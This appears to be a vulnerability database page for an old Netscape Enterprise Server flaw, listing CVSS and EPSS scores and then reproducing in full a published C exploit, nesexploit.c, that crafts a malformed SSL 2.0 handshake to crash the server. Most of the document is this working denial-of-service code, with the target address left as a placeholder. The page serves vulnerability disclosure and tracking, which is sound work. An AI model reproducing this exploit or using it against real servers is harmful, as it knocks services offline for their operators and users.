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Denial of service in Netscape Enterprise Server via a buffer overflow in the SSL handshake.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
0.26%
–
2023-08-06
–
–
–
0.26%
–
2024-02-11
–
–
–
0.29%
–
2024-04-14
–
–
–
0.29%
–
2024-06-02
–
–
–
0.29%
–
2024-11-17
–
–
–
0.29%
–
2024-12-22
–
–
–
0.29%
–
2024-12-29
–
–
–
0.29%
–
2025-01-19
–
–
–
0.29%
–
2025-03-18
–
–
–
–
3.75%
2025-03-18
–
–
–
–
3.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 1999-07-05 22h00 +00:00 Author : Arne Vidstrom EDB Verified : Yes
/*
source: https://www.securityfocus.com/bid/516/info
Netscape's Enterprise Server suffers from a buffer overflow error in the SSL handshaking code that causes it to crash when the buffer is overrun.
*/
//
// nesexploit.c - v1.02 - by Arne Vidstrom, winnt@bahnhof.se
//
// This program crashes Netscape Enterprise Server when it is
// running in SSL mode, by exploiting a bug in the SSL handshake
// code. The server crashes if the client:
//
// * starts with SSL 2.0 format
// * uses long record header
// * uses padding >= 8
// * sends at least 11 bytes more data than it specifies in the
// header
// * sends at least about 4 kb data
//
// I haven't included any error handling in the code because it's
// so boring to write... ;o)
//
#include <winsock.h>
#include <string.h>
#include <stdio.h>
#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr
// Some combinations of these three constants will crash the server,
// others will not.
#define PADDING 8
#define SPECIFIED_SIZE 11822
#define ACTUAL_SIZE 11833
void main(void)
{
// IP address of the server - set to your own server and nobody
// elses :o)
char ipaddr[25] = "xxx.xxx.xxx.xxx";
// SSL port
unsigned short port = xxxxx;
SOCKET socket1;
unsigned char s[65536];
int errorCode;
WSADATA winSockData;
sockaddr_in peer;
int result;
unsigned char i;
unsigned int l;
int flags;
printf("\nnesexploit.c - developed by Arne Vidstrom, winnt@bahnhof.se\n\n");
// Allocate a socket, connect and stuff...
errorCode = WSAStartup(0x0101, &winSockData);
socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(ipaddr);
for (i = 0; i < 8; i++)
peer.sin_zero[i] = 0;
result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
if (result != 0)
printf("Ehmn, where's that server? ;o)\n\n");
// Initialize the buffer with a lot of '.' Anything would do...
for (l=0; l<65536; l++)
s[l] = '.';
// Version 2.0 Format Header with padding.
// Shouldn't be any padding because this part is not encrypted,
// but without padding the server won't crash. :o)
s[0] = (SPECIFIED_SIZE & 0xff00) >> 8;
s[1] = (SPECIFIED_SIZE & 0x00ff);
s[2] = PADDING;
// Client says Hello!
s[3] = 0x01;
// Client wishes to use Version 3.0 later (there will be no "later" though...)
s[4] = 0x03;
s[5] = 0x00;
// Cipher Specs Length = 3
s[6] = 0x00;
s[7] = 0x0c;
// Session ID = 0
s[8] = 0x00;
s[9] = 0x00;
// Challenge Length = 16
s[10] = 0x00;
s[11] = 0x10;
// Challenge Specs Data
s[12] = 0x02;
s[13] = 0x00;
s[14] = 0x80;
s[15] = 0x04;
s[16] = 0x00;
s[17] = 0x80;
s[18] = 0x00;
s[19] = 0x00;
s[20] = 0x03;
s[21] = 0x00;
s[22] = 0x00;
s[23] = 0x06;
// Challenge Data is a few '.' from above
// The rest is also '.' from above
// Send all this to the server
flags = 0;
result = send(socket1, s, ACTUAL_SIZE, flags);
if (result != SOCKET_ERROR)
printf("Done!\n\n");
// Clean up
closesocket(socket1);
WSACleanup();
}